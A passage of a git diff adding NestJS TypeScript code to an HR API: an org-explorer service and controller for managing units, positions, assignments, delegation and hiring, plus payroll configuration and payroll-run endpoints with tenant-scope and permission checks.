summary: "Move a unit under a new parent", + description: + "IAM moves the whole subtree. Refused if the new parent is inside the unit's own subtree, which would detach the branch.", + }) + moveUnit( + @Param("unitId", ParseUUIDPipe) unitId: string, + @Body() dto: MoveUnitDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.moveUnit(unitId, dto.newParentUnitId, actorFrom(user)); + } + + @Post("positions") + @HrStaff(IAM_PERMS.unit.create) + @ApiOperation({ + summary: "Create a position, with its HR headcount record", + description: + "Pass budgetedCount to create the hr.job_positions row in the same request. " + + "Not atomic — IAM's services run on their own entity manager — so a failed " + + "HR row soft-deletes the position it just created rather than leaving a half-made post.", + }) + createPosition( + @Body() dto: CreatePositionDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.createPosition(dto, actorFrom(user), user); + } + + @Get("positions/:positionId/holders") + @HrStaff(IAM_PERMS.org.findAll) + @ApiOperation({ + summary: "Who holds this position today", + description: + "Delegates are included but flagged. They act on the post without holding it, " + + "and they are excluded from headcount and from HR's line-manager resolution.", + }) + holders( + @Param("positionId", ParseUUIDPipe) positionId: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.findPositionHolders(positionId, actorFrom(user)); + } + + @Post("positions/:positionId/assign") + @HrStaff(IAM_PERMS.employee.create) + @ApiOperation({ + summary: "Place an employee in this position", + description: + "Refreshes the HR headcount cache. Refused if they already hold it.", + }) + assign( + @Param("positionId", ParseUUIDPipe) positionId: string, + @Body() dto: AssignEmployeeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.assignEmployee( + positionId, + dto.employeeId, + actorFrom(user), + ); + } + + @Post("positions/:positionId/unassign") + @HrStaff(IAM_PERMS.employee.deactivate) + @ApiOperation({ + summary: "Remove an employee from this position", + description: "Refreshes the HR headcount cache.", + }) + unassign( + @Param("positionId", ParseUUIDPipe) positionId: string, + @Body() dto: AssignEmployeeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.removeEmployee( + positionId, + dto.employeeId, + actorFrom(user), + ); + } + + @Post("positions/:positionId/hire") + @HrStaff(IAM_PERMS.employee.create) + @ApiOperation({ + summary: "Hire into this position — IAM account, employee, assignment and HR profile", + description: + "IAM's inviteNewEmployee creates the user, employee and assignment in one call; " + + "HR then adds the profile. Not atomic across both systems: if the HR profile " + + "fails, the IAM records are deliberately KEPT — the person shows up in the " + + "onboarding queue, which is recoverable, whereas deleting a new account to tidy " + + "up would destroy their credentials and assignment.", + }) + hire( + @Param("positionId", ParseUUIDPipe) positionId: string, + @Body() dto: HireEmployeeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.hireIntoPosition(positionId, dto, actorFrom(user), user); + } + + @Post("positions/:positionId/delegate") + @HrStaff(IAM_PERMS.employee.create) + @ApiOperation({ + summary: "Delegate this position's RECORD duties for a bounded period", + description: + "Delegation belongs to the Record Management System, not to HR: a holder " + + "hands their record duties to a colleague. It is NOT an HR assignment, so " + + "headcount is unchanged and the delegate does not become anyone's line " + + "manager. IAM only permits the holder to delegate, so this endpoint fails " + + "with can_not_delegate_to_other_employee when HR calls it on someone's behalf.", + }) + delegate( + @Param("positionId", ParseUUIDPipe) positionId: string, + @Body() dto: DelegatePositionDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.delegatePosition( + positionId, + dto, + actorFrom(user), + user, + ); + } + + @Patch("positions/:positionId/parent") + @HrStaff(IAM_PERMS.unit.update) + @ApiOperation({ + summary: "Re-parent a position", + description: + "null promotes it to a root of its unit's chart. Refused if the new parent is one of its own reports.", + }) + changePositionParent( + @Param("positionId", ParseUUIDPipe) positionId: string, + @Body() dto: ChangePositionParentDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.orgExplorer.changePositionParent( + positionId, + dto.newParentId ?? null, + actorFrom(user), + ); + } +} diff --git a/apps/edr-hr-api/src/modules/org-explorer/org-explorer.module.ts b/apps/edr-hr-api/src/modules/org-explorer/org-explorer.module.ts new file mode 100644 index 000000000..cdc0bff82 --- /dev/null +++ b/apps/edr-hr-api/src/modules/org-explorer/org-explorer.module.ts @@ -0,0 +1,17 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { JobPosition } from "../job-positions/entities/job-position.entity"; +import { JobPositionsRepository } from "../job-positions/job-positions.repository"; +import { EmployeesModule } from "../employees/employees.module"; + +import { OrgExplorerService } from "./org-explorer.service"; +import { OrgExplorerController } from "./org-explorer.controller"; + +@Module({ + imports: [TypeOrmModule.forFeature([JobPosition]), EmployeesModule], + controllers: [OrgExplorerController], + providers: [OrgExplorerService, JobPositionsRepository], + exports: [OrgExplorerService], +}) +export class OrgExplorerModule {} diff --git a/apps/edr-hr-api/src/modules/org-explorer/org-explorer.service.ts b/apps/edr-hr-api/src/modules/org-explorer/org-explorer.service.ts new file mode 100644 index 000000000..8075d5db0 --- /dev/null +++ b/apps/edr-hr-api/src/modules/org-explorer/org-explorer.service.ts @@ -0,0 +1,568 @@ +import { + BadRequestException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { + IamDirectoryService, + PositionTreeRow, + UnitTreeNode, +} from "../../iam-directory/iam-directory.service"; +import { IamOperationsService } from "../../iam-directory/iam-operations.service"; +import { JobPositionsRepository } from "../job-positions/job-positions.repository"; +import { + ActorContext, + EmployeesService, + orgScope, +} from "../employees/employees.service"; + +/** A position plus its children, with holders rolled up. */ +export type PositionTreeItem = PositionTreeRow & { + children: PositionTreeItem[]; + /** Holders of this post AND every post beneath it. */ + totalHolderCount: number; +}; + +/** A unit plus its children — the shape the tree component consumes. */ +export type UnitTreeItem = UnitTreeNode & { + children: UnitTreeItem[]; + /** Staff in this unit AND everything beneath it. */ + totalEmployeeCount: number; +}; + +@Injectable() +export class OrgExplorerService { + constructor( + private readonly iamDirectory: IamDirectoryService, + private readonly iamOperations: IamOperationsService, + private readonly jobPositions: JobPositionsRepository, + private readonly employees: EmployeesService, + ) {} + + // ── Writes ─────────────────────────────────────────────────────────────── + + /** Refuses to touch another tenant's unit. */ + private async assertUnitInScope(unitId: string, actor: ActorContext) { + const unit = await this.iamDirectory.findUnit(unitId); + if (!unit) throw new NotFoundException(`Unit ${unitId} not found`); + if (!actor.isSuperAdmin && unit.organizationId !== actor.organizationId) { + throw new ForbiddenException(`Unit ${unitId} belongs to another organization`); + } + return unit; + } + + async createUnit( + dto: { + name: { am: string; en: string }; + key: string; + parentUnitId?: string; + }, + actor: ActorContext, + user: TCurrentUser, + ) { + // The parent decides the organization, so a unit cannot be smuggled into + // another tenant by nesting it under one. + const organizationId = dto.parentUnitId + ? (await this.assertUnitInScope(dto.parentUnitId, actor)).organizationId + : actor.organizationId; + + if (!organizationId) { + throw new BadRequestException( + "No organization to create this unit in — pass a parentUnitId, or sign in with a staff account.", + ); + } + + return this.iamOperations + .createUnit({ ...dto, organizationId }, user) + .catch((error: unknown) => { + throw OrgExplorerService.explainUnitCreationFailure(error, organizationId); + }); + } + + /** + * IAM refuses unit creation with bare enum strings. Left alone they reach the + * user as `organization_configuration_not_found`, which reads like a crash and + * hides that the fix is a one-row IAM setting — most organizations in this + * database have no configuration row at all, because only the ones created by + * the EDR seeder ever got one. + * + * Only the message is rewritten. The failure is still IAM's, and HR does not + * create the missing row itself: unit limits are an IAM policy decision, and + * silently defaulting them here would let HR grant an organization powers + * nobody granted it. + */ + private static explainUnitCreationFailure( + error: unknown, + organizationId: string, + ): unknown { + const code = + error instanceof BadRequestException + ? ((error.getResponse() as { message?: string })?.message ?? + error.message) + : null; + + const explain = (text: string) => new BadRequestException(text); + + switch (code) { + case "organization_configuration_not_found": + return explain( + "This organization has no IAM configuration, so IAM will not let units " + + `be created in it. Create one for organization ${organizationId} via ` + + "POST /api/v1/organization-configurations (canCreateBranchByItself: true), " + + "then try again.", + ); + case "organization_cannot_create_units": + return explain( + "IAM's configuration for this organization has canCreateBranchByItself " + + "turned off, so it is not allowed to create its own units. Change that " + + "setting in IAM first.", + ); + case "organization_maximum_unit_limit_reached": + return explain( + "This organization has reached the maximum number of units IAM allows " + + "it. Raise maximumNumberOfUnits in its IAM configuration, or remove a " + + "unit that is no longer used.", + ); + default: + return error; + } + } + + /** + * Move a unit under a new parent. IAM takes the whole subtree with it. + * + * Refuses a move into the unit's own subtree, which would detach that branch + * from the tree entirely — IAM does not check this, and the result is rows + * that no longer appear under any root. + */ + async moveUnit(unitId: string, newParentUnitId: string, actor: ActorContext) { + await this.assertUnitInScope(unitId, actor); + await this.assertUnitInScope(newParentUnitId, actor); + + if (unitId === newParentUnitId) { + throw new BadRequestException("A unit cannot be its own parent"); + } + const descendants = await this.iamDirectory.findUnitSubtreeIds(unitId); + if (descendants.includes(newParentUnitId)) { + throw new BadRequestException( + "Cannot move a unit beneath one of its own descendants — that would detach the branch", + ); + } + + await this.iamOperations.moveUnit(unitId, newParentUnitId); + return { unitId, newParentUnitId, movedUnits: descendants.length }; + } + + /** + * Create an IAM position and, when a budget is given, its HR headcount record. + * + * NOT one transaction, and the comment matters: IAM's services run on their + * own entity manager, so an outer `dataSource.transaction()` here would not + * enrol them. Instead the HR row is compensated — if it fails, the IAM + * position is soft-deleted so a half-created post is not left behind. + */ + async createPosition( + dto: { + name: { am: string; en: string }; + key: string; + unitId: string; + parentPositionId?: string; + rank?: number; + positionTypeId?: string; + budgetedCount?: number; + jobTitleId?: string; + isOpen?: boolean; + }, + actor: ActorContext, + user: TCurrentUser, + ) { + const unit = await this.assertUnitInScope(dto.unitId, actor); + + if (dto.parentPositionId) { + const parent = await this.iamDirectory.findPosition(dto.parentPositionId); + if (!parent) { + throw new BadRequestException( + `Parent position ${dto.parentPositionId} not found`, + ); + } + } + + const created = (await this.iamOperations.createPosition( + { + name: dto.name, + key: dto.key, + unitId: dto.unitId, + organizationId: unit.organizationId, + parentPositionId: dto.parentPositionId, + rank: dto.rank ?? 1, + positionTypeId: dto.positionTypeId, + }, + user, + )) as { id: string } | { id: string }[]; + + const position = Array.isArray(created) ? created[0] : created; + + if (dto.budgetedCount === undefined) return { position, jobPosition: null }; + + try { + const jobPosition = await this.jobPositions.create({ + positionId: position.id, + jobTitleId: dto.jobTitleId ?? null, + budgetedCount: dto.budgetedCount, + isOpen: dto.isOpen ?? false, + currentCount: 0, + createdBy: actor.userId, + }); + return { position, jobPosition }; + } catch (error) { + // Compensate rather than leave an IAM position with no HR record that the + // caller believes failed outright. + await this.iamOperations + .softDeletePosition(position.id, user) + .catch(() => undefined); + throw error; + } + } + + // ── Assignment & delegation ───────────────────────────────────────────── + + /** Who holds this post today, delegates flagged. */ + async findPositionHolders(positionId: string, actor: ActorContext) { + const position = await this.iamDirectory.findPosition(positionId); + if (!position) throw new NotFoundException(`Position ${positionId} not found`); + await this.assertUnitInScope(position.unitId, actor); + return this.iamDirectory.findPositionHolders(positionId); + } + + /** + * `hr.job_positions.current_count` caches IAM's holder count, so every change + * of who holds a post has to refresh it. Doing it here — in the one place + * assignment happens — is why the number on a headcount screen can be trusted + * without re-reading IAM per row. + */ + private async refreshHeadcount(positionId: string): Promise { + const record = await this.jobPositions.findByPositionId(positionId); + if (!record) return; + const actual = + await this.iamDirectory.countCurrentPositionHolders(positionId); + if (actual !== record.currentCount) { + await this.jobPositions.update(record.id, { currentCount: actual }); + } + } + + async assignEmployee( + positionId: string, + employeeId: string, + actor: ActorContext, + ) { + const position = await this.iamDirectory.findPosition(positionId); + if (!position) throw new NotFoundException(`Position ${positionId} not found`); + await this.assertUnitInScope(position.unitId, actor); + + const employee = await this.iamDirectory.requireEmployee(employeeId); + if ( + !actor.isSuperAdmin && + employee.organizationId !== actor.organizationId + ) { + throw new ForbiddenException( + `Employee ${employeeId} belongs to another organization`, + ); + } + + // Assigning someone who already holds the post is a no-op in IAM but reads + // as success here; refuse it so the UI can say why nothing changed. + const holders = await this.iamDirectory.findPositionHolders(positionId); + if (holders.some((h) => h.employeeId === employeeId && !h.isDelegate)) { + throw new BadRequestException( + "That person already holds this position", + ); + } + + const result = await this.iamOperations.assignEmployeeToPosition( + positionId, + employeeId, + ); + await this.refreshHeadcount(positionId); + return result; + } + + async removeEmployee( + positionId: string, + employeeId: string, + actor: ActorContext, + ) { + const position = await this.iamDirectory.findPosition(positionId); + if (!position) throw new NotFoundException(`Position ${positionId} not found`); + await this.assertUnitInScope(position.unitId, actor); + + const result = await this.iamOperations.removeEmployeeFromPosition( + positionId, + employeeId, + ); + await this.refreshHeadcount(positionId); + return result; + } + + /** + * Delegate a post for a bounded period. + * + * A delegate acts FOR the position without holding it, so the headcount is + * deliberately not refreshed — `countCurrentPositionHolders` excludes + * delegates, and treating a delegation as a filled post would overstate the + * establishment for as long as it lasts. + */ + async delegatePosition( + positionId: string, + payload: { employeeId?: string; startDate?: string; endDate?: string }, + actor: ActorContext, + user: TCurrentUser, + ) { + const position = await this.iamDirectory.findPosition(positionId); + if (!position) throw new NotFoundException(`Position ${positionId} not found`); + await this.assertUnitInScope(position.unitId, actor); + + if (payload.startDate && payload.endDate && payload.endDate < payload.startDate) { + throw new BadRequestException("The delegation ends before it starts"); + } + + return this.iamOperations.delegateToPosition( + { + positionId, + unitId: position.unitId, + employeeId: payload.employeeId, + startDate: payload.startDate ? new Date(payload.startDate) : undefined, + endDate: payload.endDate ? new Date(payload.endDate) : undefined, + }, + user, + ); + } + + /** + * Hire someone into a position: IAM user + employee + assignment + HR profile. + * + * IAM's `inviteNewEmployee` does the first three atomically inside IAM, which + * is why the hire flow calls it rather than assembling the pieces here. HR's + * profile is then created on top. + * + * NOT one transaction across both systems — IAM's services run on their own + * entity manager. If the HR profile fails, the IAM records are LEFT IN PLACE + * rather than compensated: a person who exists in IAM with no HR profile is a + * normal, recoverable state (they appear in the onboarding queue), whereas + * deleting a freshly created user to tidy up would destroy their credentials + * and their position assignment for the sake of a missing hire date. + */ + async hireIntoPosition( + positionId: string, + dto: { + name: { am: string; en: string }; + username: string; + email: string; + phoneNumber: string; + employmentType: string; + hireDate: string; + probationEndDate?: string; + jobTitleId?: string; + employeeNumber?: string; + }, + actor: ActorContext, + user: TCurrentUser, + ) { + const position = await this.iamDirectory.findPosition(positionId); + if (!position) throw new NotFoundException(`Position ${positionId} not found`); + await this.assertUnitInScope(position.unitId, actor); + + const invited = await this.iamOperations.inviteEmployeeToPosition( + { + positionId, + username: dto.username, + email: dto.email, + phoneNumber: dto.phoneNumber, + name: dto.name, + }, + user, + ); + + // IAM returns its own shape; find the employee it just created so HR can + // extend it. Falling back to a username lookup keeps this working if the + // response shape shifts between package versions. + const employeeId = + (invited as { employee?: { id?: string } })?.employee?.id ?? + (invited as { employeeId?: string })?.employeeId ?? + (await this.iamDirectory.findEmployeeByUsername(dto.username))?.id; + + if (!employeeId) { + throw new BadRequestException( + "IAM created the account but did not return an employee id — check the onboarding queue before retrying, or the person may be created twice.", + ); + } + + await this.refreshHeadcount(positionId); + + const profile = await this.employees.create( + { + employeeId, + employmentType: dto.employmentType as never, + hireDate: dto.hireDate, + probationEndDate: dto.probationEndDate, + jobTitleId: dto.jobTitleId, + employeeNumber: dto.employeeNumber, + } as never, + actor, + ); + + return { employeeId, positionId, profile }; + } + + /** Re-parent a post. `null` promotes it to a root of its unit's chart. */ + async changePositionParent( + positionId: string, + newParentId: string | null, + actor: ActorContext, + ) { + const position = await this.iamDirectory.findPosition(positionId); + if (!position) throw new NotFoundException(`Position ${positionId} not found`); + await this.assertUnitInScope(position.unitId, actor); + + if (newParentId) { + if (newParentId === positionId) { + throw new BadRequestException("A position cannot report to itself"); + } + const parent = await this.iamDirectory.findPosition(newParentId); + if (!parent) { + throw new BadRequestException(`Position ${newParentId} not found`); + } + // Walk up from the proposed parent: if we meet this position, the move + // would create a cycle and orphan the branch. + let cursor: string | null = parent.parentPositionId; + for (let depth = 0; depth < 40 && cursor; depth += 1) { + if (cursor === positionId) { + throw new BadRequestException( + "Cannot move a position beneath one of its own reports", + ); + } + const next = await this.iamDirectory.findPosition(cursor); + cursor = next?.parentPositionId ?? null; + } + } + + await this.iamOperations.changePositionParent(positionId, newParentId); + return { positionId, newParentId }; + } + + + /** + * The organization tree, nested and with rolled-up counts. + * + * Nesting happens here rather than in SQL because the whole set is already in + * memory (35 units) and a recursive CTE that also rolls up descendant counts + * is markedly harder to read than one pass over a map. If this ever grows to + * thousands of units, move the roll-up into the query. + * + * Units whose parent is outside the caller's scope are treated as roots — + * otherwise a scoped user would see nothing at all, because every one of + * their units hangs off a parent they cannot read. + */ + async findTree(actor: ActorContext): Promise { + const nodes = await this.iamDirectory.findUnitTree(orgScope(actor)); + + const byId = new Map( + nodes.map((node) => [ + node.id, + { ...node, children: [], totalEmployeeCount: node.employeeCount }, + ]), + ); + + const roots: UnitTreeItem[] = []; + for (const item of byId.values()) { + const parent = item.parentUnitId ? byId.get(item.parentUnitId) : undefined; + if (parent) parent.children.push(item); + else roots.push(item); + } + + // Roll descendant counts upward. Depth-first from each root, adding on the + // way back out, so every node is visited once. + const rollUp = (item: UnitTreeItem): number => { + item.totalEmployeeCount = + item.employeeCount + + item.children.reduce((sum, child) => sum + rollUp(child), 0); + return item.totalEmployeeCount; + }; + roots.forEach(rollUp); + + return roots; + } + + /** + * The position hierarchy, nested — the platform's real org chart. + * + * Totals roll up the same way units do, so a node shows both the people in + * that post and everyone beneath it. + */ + async findPositionTree( + actor: ActorContext, + unitId?: string, + ): Promise { + const rows = await this.iamDirectory.findPositionTree( + orgScope(actor), + unitId, + ); + + const byId = new Map( + rows.map((row) => [ + row.id, + { ...row, children: [], totalHolderCount: row.holderCount }, + ]), + ); + + const roots: PositionTreeItem[] = []; + for (const item of byId.values()) { + const parent = item.parentPositionId + ? byId.get(item.parentPositionId) + : undefined; + // A position whose parent was filtered out (different unit, soft-deleted) + // becomes a root here rather than vanishing from the tree. + if (parent) parent.children.push(item); + else roots.push(item); + } + + const rollUp = (item: PositionTreeItem): number => { + item.totalHolderCount = + item.holderCount + + item.children.reduce((sum, child) => sum + rollUp(child), 0); + return item.totalHolderCount; + }; + roots.forEach(rollUp); + + return roots; + } + + /** One unit, with its children, positions and current staff. */ + async findUnitDetail(unitId: string, actor: ActorContext) { + const unit = await this.iamDirectory.findUnit(unitId); + if (!unit) throw new NotFoundException(`Unit ${unitId} not found`); + if (!actor.isSuperAdmin && unit.organizationId !== actor.organizationId) { + throw new NotFoundException(`Unit ${unitId} not found`); + } + + const [children, employees, positions] = await Promise.all([ + this.iamDirectory.findChildUnits(unitId), + this.iamDirectory.findEmployeeDirectoryPage({ + unitIds: [unitId], + limit: 200, + offset: 0, + }), + this.iamDirectory.findUnitPositions(unitId), + ]); + + return { + unit, + children, + positions, + employees: employees.items, + employeeTotal: employees.total, + }; + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/controllers/payroll-config.controller.ts b/apps/edr-hr-api/src/modules/payroll/controllers/payroll-config.controller.ts new file mode 100644 index 000000000..92d9f62ab --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/controllers/payroll-config.controller.ts @@ -0,0 +1,164 @@ +import { + Body, + Controller, + Get, + Param, + ParseUUIDPipe, + Patch, + Post, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { PayrollConfigService } from "../services/payroll-config.service"; +import { + AssignSalaryDto, + CreateSalaryComponentDto, + CreateSalaryStructureDto, + SetStructureLinesDto, + UpdateSalaryComponentDto, +} from "../dto/payroll-config.dto"; + +@ApiTags("payroll-config") +@ApiBearerAuth() +@Controller("payroll") +@HrStaff([ + HR_PERMS.payroll.manageSalaryStructure, + HR_PERMS.payroll.manageSalaryRule, + HR_PERMS.payroll.assignSalaryStructure, + HR_PERMS.payroll.manageIncomeTaxTable, + HR_PERMS.payroll.viewAllPayslip, +]) +export class PayrollConfigController { + constructor(private readonly config: PayrollConfigService) {} + + @Post("seed-statutory") + @HrStaff(HR_PERMS.payroll.manageIncomeTaxTable) + @ApiOperation({ + summary: "Seed the statutory payroll configuration", + description: + "Creates the standard components, the Schedule B income tax bands " + + "(Proc. 979/2016) and the pension rates (Proc. 715/2011). Idempotent, and " + + "nothing existing is modified. VERIFY the tax bands against the schedule " + + "currently in force before running real payroll — they are effective-dated " + + "so a later schedule is a new row, not a code change.", + }) + seed(@CurrentUser() user: TCurrentUser) { + return this.config.seedStatutory(actorFrom(user)); + } + + @Get("components") + @HrStaff(HR_PERMS.payroll.manageSalaryRule) + @ApiOperation({ summary: "The component catalogue" }) + components(@CurrentUser() user: TCurrentUser) { + return this.config.listComponents(actorFrom(user)); + } + + @Post("components") + @HrStaff(HR_PERMS.payroll.manageSalaryRule) + @ApiOperation({ summary: "Add a component" }) + createComponent( + @Body() dto: CreateSalaryComponentDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.config.createComponent(dto, actorFrom(user)); + } + + @Patch("components/:id") + @HrStaff(HR_PERMS.payroll.manageSalaryRule) + @ApiOperation({ summary: "Change a component" }) + updateComponent( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateSalaryComponentDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.config.updateComponent(id, dto, actorFrom(user)); + } + + @Get("structures") + @HrStaff(HR_PERMS.payroll.manageSalaryStructure) + @ApiOperation({ summary: "Salary structures" }) + structures(@CurrentUser() user: TCurrentUser) { + return this.config.listStructures(actorFrom(user)); + } + + @Get("structures/:id") + @HrStaff(HR_PERMS.payroll.manageSalaryStructure) + @ApiOperation({ summary: "One structure, with its lines" }) + structure( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.config.getStructure(id, actorFrom(user)); + } + + @Post("structures") + @HrStaff(HR_PERMS.payroll.manageSalaryStructure) + @ApiOperation({ summary: "Add a structure" }) + createStructure( + @Body() dto: CreateSalaryStructureDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.config.createStructure(dto, actorFrom(user)); + } + + @Patch("structures/:id/lines") + @HrStaff(HR_PERMS.payroll.manageSalaryStructure) + @ApiOperation({ + summary: "Replace a structure's lines", + description: "Wholesale replacement — simpler than diffing, and atomic.", + }) + setLines( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: SetStructureLinesDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.config.setStructureLines(id, dto.lines, actorFrom(user)); + } + + @Post("salaries") + @HrStaff(HR_PERMS.payroll.assignSalaryStructure) + @ApiOperation({ + summary: "Put an employee on a salary", + description: + "Closes the previous record the day before rather than editing it, so " + + "payroll already run for an earlier month still resolves what applied then.", + }) + @ApiResponse({ status: 400, description: "Backdated before the current record" }) + assignSalary(@Body() dto: AssignSalaryDto, @CurrentUser() user: TCurrentUser) { + return this.config.assignSalary(dto, actorFrom(user)); + } + + @Get("salaries/:employeeId") + @HrStaff(HR_PERMS.payroll.assignSalaryStructure) + @ApiOperation({ summary: "An employee's salary history" }) + salaryHistory(@Param("employeeId", ParseUUIDPipe) employeeId: string) { + return this.config.salaryHistory(employeeId); + } + + @Get("tax-brackets") + @HrStaff(HR_PERMS.payroll.manageIncomeTaxTable) + @ApiOperation({ + summary: "Income tax bands on file", + description: "Effective-dated. Several schedules may coexist.", + }) + taxBrackets() { + return this.config.listTaxBrackets(); + } + + @Get("statutory-rates") + @HrStaff(HR_PERMS.payroll.manageIncomeTaxTable) + @ApiOperation({ summary: "Pension and other statutory rates" }) + statutoryRates() { + return this.config.listStatutoryRates(); + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/controllers/payroll-runs.controller.ts b/apps/edr-hr-api/src/modules/payroll/controllers/payroll-runs.controller.ts new file mode 100644 index 000000000..4e8fa0d1f --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/controllers/payroll-runs.controller.ts @@ -0,0 +1,178 @@ +import { + Body, + Controller, + ForbiddenException, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { hasHrPermission } from "../../../common/hr-permission.util"; +import { PayrollRunsService } from "../services/payroll-runs.service"; +import { EPayrollRunStatus } from "../entities/payroll-run.entity"; +import { CreatePayrollRunDto, MarkPaidDto } from "../dto/payroll-config.dto"; + +@ApiTags("payroll-runs") +@ApiBearerAuth() +@Controller("payroll-runs") +@HrStaff([ + HR_PERMS.payroll.run, + HR_PERMS.payroll.approve, + HR_PERMS.payroll.viewAllPayslip, + HR_PERMS.payroll.viewOwnPayslip, +]) +export class PayrollRunsController { + constructor(private readonly runs: PayrollRunsService) {} + + @Post() + @HrStaff(HR_PERMS.payroll.run) + @ApiOperation({ + summary: "Open a payroll run for a period", + description: + "Refused if a live run already covers the same period — running one twice " + + "would pay everyone twice.", + }) + create(@Body() dto: CreatePayrollRunDto, @CurrentUser() user: TCurrentUser) { + return this.runs.create(dto, actorFrom(user)); + } + + @Post(":id/calculate") + @HrStaff(HR_PERMS.payroll.run) + @ApiOperation({ + summary: "Compute every payslip in the run", + description: + "Repeatable while draft or calculated: existing payslips are deleted and " + + "rebuilt. Refused once approved, when the figures are the record.", + }) + @ApiResponse({ status: 201, description: "The run, with totals" }) + calculate( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.runs.calculate(id, actorFrom(user)); + } + + @Patch(":id/approve") + @HrStaff(HR_PERMS.payroll.approve) + @ApiOperation({ + summary: "Approve the run", + description: "After this the figures cannot be recomputed.", + }) + approve( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.runs.approve(id, actorFrom(user)); + } + + @Patch(":id/mark-paid") + @HrStaff(HR_PERMS.payroll.approve) + @ApiOperation({ summary: "Record that the run has been paid" }) + markPaid( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: MarkPaidDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.runs.markPaid(id, dto.paymentDate, actorFrom(user)); + } + + @Patch(":id/cancel") + @HrStaff(HR_PERMS.payroll.run) + @ApiOperation({ + summary: "Cancel the run", + description: "Refused once paid — that is a ledger reversal, not a status change.", + }) + cancel( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.runs.cancel(id, actorFrom(user)); + } + + @Get("my-payslips") + @HrStaff(HR_PERMS.payroll.viewOwnPayslip) + @ApiOperation({ + summary: "My payslips", + description: + "Approved and paid runs only — a draft run is still being worked on and " + + "its figures may still change.", + }) + myPayslips(@CurrentUser() user: TCurrentUser) { + const actor = actorFrom(user); + if (!actor.employeeId) { + throw new ForbiddenException( + "This account has no employee record, so it has no payslips.", + ); + } + return this.runs.payslipsForEmployee(actor.employeeId); + } + + @Get("payslips/:payslipId") + @HrStaff(HR_PERMS.payroll.viewOwnPayslip) + @ApiOperation({ summary: "One payslip, with its lines" }) + async payslip( + @Param("payslipId", ParseUUIDPipe) payslipId: string, + @CurrentUser() user: TCurrentUser, + ) { + const actor = actorFrom(user); + const payslip = await this.runs.payslip(payslipId, actor); + // Own payslip always; anyone else's needs view-all. Checked after loading + // because whose it is cannot be known before. + if ( + payslip.employeeId !== actor.employeeId && + !hasHrPermission(user, HR_PERMS.payroll.viewAllPayslip) + ) { + throw new ForbiddenException("You can only see your own payslips."); + } + return payslip; + } + + @Get() + @HrStaff(HR_PERMS.payroll.viewAllPayslip) + @ApiOperation({ summary: "Payroll runs" }) + @ApiQuery({ name: "status", required: false, enum: EPayrollRunStatus }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("status") status?: EPayrollRunStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.runs.findAll({ status, page, limit }, actorFrom(user)); + } + + @Get(":id") + @HrStaff(HR_PERMS.payroll.viewAllPayslip) + @ApiOperation({ summary: "One run" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.runs.findOne(id, actorFrom(user)); + } + + @Get(":id/payslips") + @HrStaff(HR_PERMS.payroll.viewAllPayslip) + @ApiOperation({ summary: "Every payslip in a run" }) + payslips( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.runs.payslipsFor(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/dto/payroll-config.dto.ts b/apps/edr-hr-api/src/modules/payroll/dto/payroll-config.dto.ts new file mode 100644 index 000000000..13d688b6d --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/dto/payroll-config.dto.ts @@ -0,0 +1,241 @@ +import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsArray, + IsBoolean, + IsDateString, + IsEnum, + IsInt, + IsNotEmpty, + IsNumberString, + IsObject, + IsOptional, + IsString, + IsUUID, + Max, + MaxLength, + Min, + 